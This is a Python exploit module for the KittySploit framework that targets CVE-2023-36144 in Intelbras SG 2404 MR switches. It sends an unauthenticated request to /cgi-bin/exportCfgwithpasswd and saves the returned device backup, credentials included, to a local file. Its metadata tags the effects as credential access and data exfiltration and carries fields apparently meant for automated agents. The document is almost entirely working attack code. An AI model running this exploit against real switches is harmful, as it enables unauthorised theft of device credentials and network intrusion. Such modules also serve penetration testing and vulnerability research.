Intelbras Switch Config Leak (CVE-2023-36144)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Intelbras Switch config export leak (CVE-2023-36144)."""

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client):
    __info__ = {
        'name': 'Intelbras Switch Config Leak (CVE-2023-36144)',
        'description': (
            'Exploits CVE-2023-36144 in Intelbras SG 2404 MR: unauthenticated GET to '
            '/cgi-bin/exportCfgwithpasswd downloads full device backup with credentials.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2023-36144'],
        'platform': Platform.LINUX,
        'references': ['https://nvd.nist.gov/vuln/detail/CVE-2023-36144'],
        'tags': ['intelbras', 'switch', 'router', 'credential-leak', 'vkev'],
        'agent': {
            'risk': 'high',
            'effects': ['credential_access', 'data_exfiltration'],
            'expected_requests': 1,
            'reversible': True,
            'approval_required': True,
            'produces': ['credentials', 'file_read'],
            'chain': {'suggested_followups': ['scanner/http/cve_2023_36144_detect']},
        },
    }

    output_file = OptString('intelbras_backup.cfg', 'Local backup filename', required=False)

    def check(self):
        r = self.http_request(method='GET', path='/cgi-bin/exportCfgwithpasswd', allow_redirects=False)
        body = (r.text or '') if r else ''
        if r and r.status_code == 200 and all(m in body for m in ('System Description', 'System Version')):
            return {'vulnerable': True, 'reason': 'Intelbras config export confirmed', 'confidence': 'high'}
        return {'vulnerable': False, 'reason': 'exportCfgwithpasswd failed', 'confidence': 'medium'}

    def run(self):
        if not self.check().get('vulnerable'):
            print_error('Intelbras switch not vulnerable')
            return False
        r = self.http_request(method='GET', path='/cgi-bin/exportCfgwithpasswd', allow_redirects=False)
        body = (r.text or '') if r else ''
        out = str(self.output_file or 'intelbras_backup.cfg').strip()
        with open(out, 'w', encoding='utf-8', errors='replace') as fh:
            fh.write(body)
        print_success(f'Backup saved to {out} ({len(body)} bytes)')
        return True